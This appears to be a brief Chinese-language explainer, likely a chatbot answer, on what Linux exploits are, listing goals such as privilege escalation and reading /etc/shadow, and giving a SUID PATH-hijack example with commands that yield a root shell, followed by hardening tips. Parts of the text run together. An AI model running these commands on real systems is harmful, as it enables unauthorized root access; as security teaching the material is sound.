Linux Exploit(漏洞利用) 指的是:在 Linux 系统或运行在 Linux 上的软件中,利用已知或未知的安全漏洞,执行攻击者预期之外的行为,通常是获取更高权限、执行任意代码、绕过安全机制或控制目标系统。
简单说:
漏洞(Vulnerability)= 系统缺陷
Exploit = 利用这个缺陷“搞事情”的程序或方法
在 Linux 中,Exploit 通常用来实现以下目的:
提权(Privilege Escalation)
远程代码执行(RCE)
本地信息泄露
/etc/shadow、内存数据等容器 / 内核逃逸
信息收集
漏洞匹配
linpeaslinux-exploit-suggester编写 / 运行 Exploit
获取权限或执行目标操作
# 发现某程序有 SUID
find / -perm -4000 2>/dev/null
# 假设有 /usr/bin/custom
# 它调用了 system("ls")
攻击者可以:
export PATH=/tmp:$PATH
echo "/bin/bash" > /tmp/ls
chmod +x /tmp/ls
运行 custom 后直接拿到 root shell。
✅ 及时更新内核和软件
✅ 最小化 SUID 程序
✅ 禁用不必要的服务
✅ 使用 SELinux / AppArmor
✅ 容器隔离 + 非 root 运行
如果你愿意,我可以进一步讲:
你更想了解哪一块?